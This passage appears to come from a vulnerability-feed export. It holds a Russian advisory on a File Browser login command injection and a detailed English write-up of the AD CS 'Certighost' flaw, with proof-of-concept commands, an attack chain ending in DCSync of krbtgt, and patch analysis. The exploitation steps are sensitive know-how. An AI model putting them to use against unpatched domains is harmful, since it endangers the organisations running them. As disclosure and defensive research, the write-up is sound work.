\u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u044b.\n\n\ud83e\udde0 \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438\nFile Browser \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e Hook Authentication, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043b\u043e\u0433\u0438\u043d\u0430 \u0438 \u043f\u0430\u0440\u043e\u043b\u044f \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435. \u0412 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0434\u043e 2.63.6 \u043c\u0435\u0442\u043e\u0434 HookAuth.RunCommand \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u043b \u0432\u0432\u0435\u0434\u0451\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 (username \u0438 password \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0438\u0437 \u0442\u0435\u043b\u0430 POST-\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438) \u0432 \u0441\u0442\u0440\u043e\u043a\u0443 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 (hook-\u043a\u043e\u043c\u0430\u043d\u0434\u044b) \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u0447\u0435\u0440\u0435\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u044e os.Expand \u0431\u0435\u0437 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\u0415\u0441\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b hook-\u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, sh -c \"test $USERNAME = 'admin'\"), \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c POST-\u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 /api/login, \u0432\u043d\u0435\u0434\u0440\u0438\u0432  \u043c\u0435\u0442\u0430\u0441\u0438\u043c\u0432\u043e\u043b\u044b \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ;, |, `, $())  \u0432 \u043f\u043e\u043b\u044f \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044f.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u044f os.Expand \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442 \u043f\u0440\u044f\u043c\u0443\u044e \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u0443\u044e \u0437\u0430\u043c\u0435\u043d\u0443, \u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u043c \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0442\u043e\u0440\u043e\u043c \u041e\u0421 \u0434\u043e \u043f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 File Browser.\n\n\ud83d\udca5 \u041e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u0435 \u041f\u041e: \nFile Browser \u043d\u0438\u0436\u0435 2.63.6.\n\n\u0412\u0435\u043a\u0442\u043e\u0440:\nCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\ud83d\udd3bCVSS 4.0: 9.3 - \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\n\n\u0422\u0438\u043f: \nCWE-78 (OS Command Injection), \nCWE-88 (Argument Injection), \nCWE-306 (Missing Authentication for Critical Function)\n\n\ud83d\udd0d \u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0430\u0442\u0430\u043a\u0438\n\u2022 \u0410\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u044b\u0435 POST-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a /api/login \u0441\u043e \u0441\u043f\u0435\u0446\u0441\u0438\u043c\u0432\u043e\u043b\u0430\u043c\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ;, |, &&, $()) \u0432 \u043f\u043e\u043b\u044f\u0445 username \u0438\u043b\u0438 password.\n\u2022 \u041d\u0435\u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0434\u043e\u0447\u0435\u0440\u043d\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0441\u043b\u0443\u0436\u0431\u044b File Browser (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0437\u0430\u043f\u0443\u0441\u043a /bin/sh, bash, curl, wget, nc).\n\u2022 \u041e\u0448\u0438\u0431\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f hook-\u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u0445 \u0438\u043b\u0438 \u043b\u043e\u0433\u0430\u0445 File Browser, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u044b \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439.\n\u2022 \u041d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043a \u0432\u043d\u0435\u0448\u043d\u0438\u043c IP-\u0430\u0434\u0440\u0435\u0441\u0430\u043c (\u043f\u0440\u0438\u0437\u043d\u0430\u043a \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0433\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0433\u043e \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f).\n\n\ud83d\udee1 \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435\n1. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 File Browser \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 2.63.6 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435. \n\u0412 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 os.Expand \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0434\u0430\u043b\u0451\u043d, \u0430 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0442\u0441\u044f \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e \u2014 \u0441\u0442\u0440\u043e\u0433\u043e \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f (cmd.Env), \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0438\u0445 \u0438\u043d\u0435\u0440\u0442\u043d\u044b\u043c\u0438.\n\n2. \u0415\u0441\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u2014 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u0435 Hook Authentication. \n\n3. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u044c\u0442\u0435 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a File Browser. \u041d\u0435 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u044f\u0439\u0442\u0435 File Browser \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u2014 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 VPN, \u0431\u0435\u043b\u044b\u0435 \u0441\u043f\u0438\u0441\u043a\u0438 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0438 \u0441\u0442\u0440\u043e\u0433\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0430.  \n\n4. \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043b\u043e\u0433\u0438 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421 \u0447\u0435\u0440\u0435\u0437 \u0444\u043e\u0440\u043c\u0443 \u0432\u0445\u043e\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 03.06.2026.\n\n5. \u041e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432\u0435\u043d\u0434\u043e\u0440\u0430:\nhttps://github.com/filebrowser/filebrowser/security/advisories/GHSA-m93h-4hw7-5qcm", "creation_timestamp": "2026-08-04T13:00:18.926961Z"}, {"uuid": "71396c6a-1a61-40d6-8c45-81205eebab77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://gist.github.com/nomad2620/6da70de3bc53162f4044a544a014c317", "content": "# Certighost (CVE-2026-54121)\n\n**Authors:** [@h0j3n](https://x.com/h0j3n), [@aniqfakhrul](https://x.com/aniqfakhrul)  \n**Date:** July 24, 2026\n\n---\n\nCertighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.\n\nThe vulnerable path is an AD CS enrollment fallback known as a *chase* during directory-object resolution. By supplying request attributes such as `cdc`, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.\n\n\n  \n\n\nThis post explains how the chase path works, why it could be abused, and what changed in the update.\n\n## Introduction to Active Directory Certificate Services\n\nIf you already work with AD CS, feel free to skip ahead. For the rest of the post, it is enough to think of a certificate as a signed proof of identity. Like a Kerberos ticket, it can be presented during authentication to show who a user or computer is supposed to be.\n\nAD CS is Microsoft's public key infrastructure implementation. It integrates with Active Directory and issues X.509 certificates for purposes such as encryption, signing, secure communications, and authentication.\n\nA certificate binds a subject to a public key. The private key stays with the requester, while the certificate contains the public key and identity information signed by a Certification Authority. A service that trusts the CA can use that signature to trust the identity in the certificate.\n\nCertificate templates control the enrollment process. A template decides who may request a certificate, what it can be used for, what identity information must be present, and whether the CA may accept information supplied in the request.\n\nThe relevant piece here is certificate-based client authentication. A client requests a certificate from an Enterprise CA and later presents it to the Key Distribution Center (KDC) to obtain Kerberos credentials.\n\n### PKINIT and certificate mapping\n\nTo make this concrete, consider a small lab domain named `ABC.LOCAL` with AD CS installed. A low-privileged account can request a certificate from a template it is permitted to enroll in, then use that certificate to authenticate to the KDC.\n\n![Requesting and authenticating with a certificate using Certipy](https://gist.github.com/user-attachments/assets/c7d6f12d-d1bc-451c-b861-eb2863060173)\n\n\nRequesting and authenticating with a certificate using Certipy\n\nDuring certificate authentication, the KDC maps the identity in the certificate to an Active Directory account and issues a Kerberos TGT when the mapping succeeds.\n\n## Background: the chase fallback\n\nBefore getting to the bug, we need to look at one enrollment behavior. In some cross-domain-controller enrollment scenarios, the CA may perform a second directory lookup, referred to here as a *chase*.\n\nTwo request attributes influence that lookup:\n\n- `cdc` (Client DC), which identifies the host the CA should contact\n- `rmd` (Remote Domain), which identifies the principal the CA should look up\n\nWhen both attributes are present, the CA contacts the host named by `cdc` over SMB and LDAP, then searches for the principal named by `rmd`. The request-processing path reads these values and passes them into the remote directory lookup.\n\n\n\n  \n\n\n\nWireshark capture showing the CA following the requester-controlled cdc target to the attacker host over SMB/LSA and LDAP.\n\n## The vulnerability: Certighost\n\nThe CA accepted the requester-supplied chase target without first proving that it was the Domain Controller it claimed to be. That made it possible for an attacker to run LDAP and LSA services on a host they controlled, direct the CA to that host, and return directory data for a chosen target principal.\n\nIn the vulnerable flow, the attacker supplies `cdc` and `rmd` in a certificate request. The CA opens SMB and LDAP connections to the address in `cdc`, performs the chase lookup for the principal in `rmd`, and uses the returned identity data while building the certificate.\n\nThe issue is not just the outbound connection. The CA used the response from that host as directory data for the request. In the tested chain, the attacker could return a Domain Controller's `objectSid` and `dNSHostName`. Those values influenced the certificate identity material issued by the CA, including the strong-mapping SID and DNS identity fields used during authentication.\n\nA machine account created through the default `ms-DS-MachineAccountQuota` setting is a valid domain principal. This allowed the attacker-controlled chase endpoint to satisfy the authentication checks needed for the CA to continue, even though it was not the Domain Controller being impersonated.\n\n\n\n  \n\n\n\nVulnerable chase flow: the CA follows requester-controlled cdc, accepts attacker-supplied directory data, and issues certificate identity material for the target DC.\n\nThe diagram follows the three parties involved in the vulnerable chase: the attacker prepares a valid machine account and rogue services, the CA follows the requester-controlled `cdc` target and trusts the returned identity data, and the Domain Controller is then impersonated through certificate-based authentication and replication access.\n\n## Proof of concept walkthrough\n\n### Lab environment\n\nOur test environment contained:\n\n- An AD forest at Windows Server 2016 or later functional level\n- Domain Controller: `WDC01.abc.local` (`192.168.8.128`)\n- Enterprise CA: `abc-WCA01-CA` on `WCA01.abc.local` (`192.168.8.129`)\n- The default `ms-DS-MachineAccountQuota` value of `10`\n- The default `Machine` certificate template with its default access control list\n- An attacker host at `192.168.8.134`\n- One low-privileged Domain Users account: `normaluser`\n\n### Step 1: Install dependencies\n\nThe proof of concept is a self-contained Python script. It requires impacket, cryptography, pyasn1, asn1crypto, and dnspython.\n\n```bash\nsudo pip install --break-system-packages git+https://github.com/fortra/impacket.git cryptography pyasn1 asn1crypto pycryptodome dnspython\n```\n\n### Step 2: Run the proof of concept and observe the result\n\n```bash\nsudo python3 certighost.py \\\n  -d abc.local \\\n  -u normaluser -p '[PASSWORD]' \\\n  --dc-ip 192.168.8.128\n```\n\nThe script discovers the CA and a target Domain Controller, creates a machine account, starts the local LDAP and LSA services, submits the crafted enrollment request, and produces the terminal output shown below.\n\n![Terminal output of a successful Certighost run](https://gist.github.com/user-attachments/assets/7ad0a7a7-edf7-4b50-8c69-7e0c91ed2ae4)\n\n\nTerminal output of a successful Certighost run\n\nAt this point, the attacker has a CA-signed certificate that authenticates as the target Domain Controller in the tested configuration and a Kerberos credential cache for that account.\n\n### Step 3: DCSync\n\nA Domain Controller account has directory replication rights. With the resulting Kerberos credential, the attacker can request account secrets, including the `krbtgt` secret.\n\n![Successful DCSync output showing the `krbtgt` account](https://gist.github.com/user-attachments/assets/64e7a484-87d4-46fc-a3d7-c2b600ffe9cd)\n\n\nSuccessful DCSync output showing the `krbtgt` account\n\n### What the proof of concept does\n\nThe script follows the full chain in one process:\n\n1. It connects to LDAP with the supplied low-privileged account and discovers the CA, Domain Controller, domain SID, and domain GUID.\n2. It creates a machine account through `ms-DS-MachineAccountQuota` and registers the required service principal names.\n3. It starts local LSA and LDAP services. The services relay the CA's authentication challenge to the real Domain Controller so the chase endpoint is accepted as a valid domain principal.\n4. It submits a certificate request containing the `cdc` and `rmd` attributes.\n5. It receives a certificate carrying identity material for the target Domain Controller, including SID and DNS-name data used by the authentication flow.\n6. It uses the certificate to authenticate as the target Domain Controller and writes the resulting credential cache.\n\n## Post-update behavior\n\nThe July 2026 update changes the CA-side request path. Before continuing a chase, the CA validates the supplied `cdc` target against Active Directory.\n\nThe update adds a validation step to the principal-loading path. When the validation gate is active, the CA checks that the hostname supplied in `cdc` resolves to a legitimate Domain Controller computer object in the real directory before it continues the chase. A validation failure takes the request down an error path rather than the chase continuation.\n\n| Component | Before the update | After the update |\n|---|---|---|\n| Chase target | The CA followed the requester-supplied target | The CA validates the supplied `cdc` hostname against the real directory |\n| Principal lookup | The remote response was treated as authoritative | The target must resolve to a legitimate Domain Controller computer object |\n| Certificate identity data | Returned SID and hostname could be attacker-controlled | Resolution proceeds only after target validation and a follow-on SID comparison |\n| Certificate request result | A forged chase response could lead to issuance | A failed validation or SID comparison takes an error path |\n\nThe fix addresses the trust boundary that made Certighost possible: a chase endpoint is no longer accepted merely because it responds as a domain principal. The July binary contains a gate around the new validation, so the protection applies when that gate and its validation path are active.\n\nThe diagram below summarizes the July update path. It shows which checks must pass before the CA continues the chase, and which checks stop the request before that point.\n\n\n\n\nJuly update flow: the CA validates the chase target against AD before allowing the referral chase to continue.\n\nRead the diagram from top to bottom: the request enters the validation path, each check answers one yes/no question, and the request must pass every check before the chase continues. A failed check stops the request before that point. The specific conditions behind each check - length and character checks, the Domain Controller computer-object requirement, and the resolved-SID comparison - are described in the paragraph below.\n\nThe validation function rejects overlong and IP-literal targets, blocks the filtered-character set before constructing the LDAP query, and requires a unique computer object whose `userAccountControl` includes `SERVER_TRUST_ACCOUNT` (`8192`). If the first directory search has no match, the code retries with an extracted base DN. The loader only reaches the referral continuation after a successful validation return; it also contains a later resolved-SID comparison. These control-flow observations were checked against the hash-matched July DLL.\n\n\nDetailed patched flow:\n\n```text\n1. User submits cert enrollment request with cdc=\"attacker.example.com\"\n2. _LoadPrincipalObject() calls _GetDSObject() -> fails (referral needed)\n3. polGetRequestAttribute(\"cdc\", &bstrString) -> reads attacker's hostname\n4. NEW: Feature_3185813818 check (servicing flag)\n   - DISABLED -> old behavior (backward compat)\n   - ENABLED -> _ValidateChaseTargetIsDC(bstrString)\n      - Reject if empty\n      - Reject if > 260 chars\n      - Reject if IPv4 address (RtlIpv4StringToAddressW)\n      - Reject if IPv6 address (RtlIpv6StringToAddressW)\n      - Reject if contains LDAP injection chars: ( ) * [ \\ ]\n      - LDAP search: (&(objectCategory=computer)(dNSHostName=)\n                       (userAccountControl:1.2.840.113556.1.4.803:=8192))\n         - 8192 = SERVER_TRUST_ACCOUNT = must be a real DC\n         - If 0 results -> try with extracted base DN (_ExtractBaseDNForDCSearch)\n         - If still 0 -> REJECT\n5. Only if validation passes -> _GetDSObject(a2, 1, bstrString) -> connect to verified DC\n6. NEW: _GetObjectSID() -> verify resolved object's SID matches requester's SID\n   - If SID mismatch -> REJECT (prevents object substitution)\n```\n\n## Code analysis\n\nThe proof-of-concept shows the impact, but the code path explains the root cause. The relevant logic sits in `certpdef.dll`, the AD CS Certificate Policy Enterprise module loaded by `certsrv.exe`. The vulnerable behavior is in the request-principal loading path, where request-supplied attributes are used while resolving the requester identity.\n\nWe compare the June and July builds because June is the vulnerable baseline and July is the Microsoft patched build. That makes the July-only functions useful markers for the fix.\n\nThe functions that matter for the request path are:\n\n| Build | Function | Why it matters |\n|---|---|---|\n| June / vulnerable | `CRequestInstance::_LoadPrincipalObject` | Vulnerable integration point; reads the requester-controlled chase target. |\n| June / vulnerable | `CRequestInstance::_GetDSObject` | Directory lookup/chase sink reached with the untrusted `cdc` host. |\n| June / vulnerable | `CRequestInstance::_GetObjectSID` | Original SID retrieval path before the July identity-verification changes. |\n| July / patched | `CRequestInstance::_ExtractBaseDNForDCSearch` | Helper used by the DC verification LDAP search. |\n| July / patched | `CRequestInstance::_ValidateChaseTargetIsDC` | Validates that `cdc` resolves to a real Domain Controller. |\n| July / patched | `CRequestInstance::_LoadPrincipalObject` | Patched integration point; calls validation before the chase. |\n| July / patched | `CRequestInstance::_GetDSObject` | Same logical sink, now reached only after validation when the protected path is active. |\n| July / patched | `CRequestInstance::_GetObjectSID` | Updated identity/SID verification path after object resolution. |\n| July / patched | `Feature_3185813818` | Servicing feature gate around the updated behavior. |\n\nThe July-only pieces to look for are `CRequestInstance::_ValidateChaseTargetIsDC`, `CRequestInstance::_ExtractBaseDNForDCSearch`, and the `Feature_3185813818` gate.\n\n### June vulnerable build flow\n\nIn the June vulnerable build, `CRequestInstance::_LoadPrincipalObject` reads the `cdc` request attribute and passes it directly into `_GetDSObject` with chase enabled.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n//                                           ^ chase enabled\n//                                              ^ requester-controlled host\n```\n\nThe request-to-directory path is:\n\n```text\ncertificate request attribute -> cdc BSTR -> _GetDSObject(..., chase = 1, cdc)\n```\n\nIn other words, requester-controlled routing data reached a directory-authority decision before the CA had checked that the target was a Domain Controller.\n\n### July patched build flow\n\nThe July patched build wraps the same chase with a feature-gated validation call and then performs an additional SID verification path.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nif (Feature_3185813818::IsEnabled()) {\n    CRequestInstance::_ValidateChaseTargetIsDC(this, bstrString);\n\n    CRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n\n    CRequestInstance::_GetObjectSID(this, &resolved_sid, mode);\n}\n```\n\nThere is still an legacy behavior branch visible in the patched control flow:\n\n```c\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n```\n\nThat branch is reached when the servicing feature gate is not enabled. For lab validation, the feature state matters because the protected path is conditional.\n\n## Code analysis: `_ValidateChaseTargetIsDC`\n\n`CRequestInstance::_ValidateChaseTargetIsDC` is the main new guard. It takes the requester-supplied `cdc` value and checks that it is a Domain Controller hostname before `_GetDSObject` follows the chase.\n\nThe validation has two layers.\n\nFirst, it rejects values that are not safe DC hostnames:\n\n```c\n// 1. Strip leading backslashes, then reject empty input\nwhile (*target == L'\\\\')\n    target++;\nif (*target == L'\\0')\n    reject;\n\n// 2. Reject oversized hostnames\nif (wcslen(target) > 0x104)\n    reject;\n\n// 3. Reject IPv4 and IPv6 literals\nif (RtlIpv4StringToAddressW(target, TRUE, &end, &ipv4) == STATUS_SUCCESS && *end == 0)\n    reject;\n\nif (RtlIpv6StringToAddressW(target, &end, &ipv6) == STATUS_SUCCESS && *end == 0)\n    reject;\n\n// 4. Reject LDAP filter metacharacters\nfor (p = target; *p; p++) {\n    if ((*p - 0x28) <= 2 || (*p - 0x5b) <= 2)\n        reject;\n}\n```\n\nThe IP checks block raw-address chase targets such as `192.0.2.10` or `::1`. The metacharacter check keeps the hostname inside the LDAP filter slot.\n\nAfter the string checks, the function asks Active Directory whether the target is a DC:\n\n```text\n(&(objectCategory=computer)(dNSHostName=%s)(userAccountControl:1.2.840.113556.1.4.803:=8192))\n```\n\n`8192` is `SERVER_TRUST_ACCOUNT`, the `userAccountControl` bit used by Domain Controller computer accounts. The updated code searches for exactly one computer object with that bit set and a `dNSHostName` matching the supplied `cdc` value.\n\nThe search path is roughly:\n\n```c\nldap_search_ext_sW(ldap, NULL, LDAP_SCOPE_SUBTREE,\n                   filter, NULL, TRUE, NULL, NULL,\n                   &timeout, 1, &result);\n\ncount = ldap_count_entries(ldap, result);\n\nif (count == 0) {\n    base_dn = CRequestInstance::_ExtractBaseDNForDCSearch(this);\n    ldap_search_ext_sW(ldap, base_dn, LDAP_SCOPE_SUBTREE,\n                       filter, NULL, TRUE, NULL, NULL,\n                       &timeout, 1, &result);\n    count = ldap_count_entries(ldap, result);\n}\n\nif (count != 1)\n    reject;\n```\n\nThe missing check was simple but critical: the chase target must be an AD-registered Domain Controller, not just a host string from the certificate request.\n\n## Why the update fixes the bug\n\nBefore the update, the vulnerable chain was:\n\n```text\nattacker request -> cdc=\"attacker host\" -> CA LDAP chase -> attacker response -> issued identity\n```\n\nAfter the update, the intended chain is:\n\n```text\nattacker request -> cdc=\"some host\"\n        |\n        v\nvalidate hostname shape\n        |\n        v\nquery AD for dNSHostName= AND SERVER_TRUST_ACCOUNT\n        |\n        v\nrequire exactly one real DC object\n        |\n        v\nonly then call _GetDSObject(..., chase = 1, cdc)\n        |\n        v\nverify resolved SID / identity\n```\n\nThe update changes two things:\n\n1. **Target authenticity:** the chase target must be an AD-registered Domain Controller, not an arbitrary requester-controlled host.\n2. **Object authenticity:** the object resolved through the chase must match the expected identity, preventing substitution even if the lookup path is unusual.\n\n## Functions of interest\n\nFor security researchers tracing the request path, start with these functions:\n\n```text\nJune vulnerable build\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n\nJuly patched build\n  Feature_3185813818\n  CRequestInstance::_ExtractBaseDNForDCSearch\n  CRequestInstance::_ValidateChaseTargetIsDC\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n```\n\nGood code references for the writeup are:\n\n1. June `_LoadPrincipalObject` showing `cdc` flowing into `_GetDSObject`.\n2. July `_LoadPrincipalObject` showing the call to `_ValidateChaseTargetIsDC` before `_GetDSObject`.\n3. July `_ValidateChaseTargetIsDC` showing the IP rejection and LDAP filter construction.\n4. July `_ValidateChaseTargetIsDC` showing the `userAccountControl:1.2.840.113556.1.4.803:=8192` DC query.\n5. July `_GetObjectSID` or its caller site showing the added SID verification path.\n\n## Hot fix without the update: disable the chase fallback\n\nIf the July update cannot be installed immediately, the vulnerable code path can be switched off completely with a policy flag, because the `cdc` chase is an optional fallback feature, not code that runs on every request:\n\n```powershell\ncertutil -setreg policy\\EditFlags -EDITF_ENABLECHASECLIENTDC\nRestart-Service 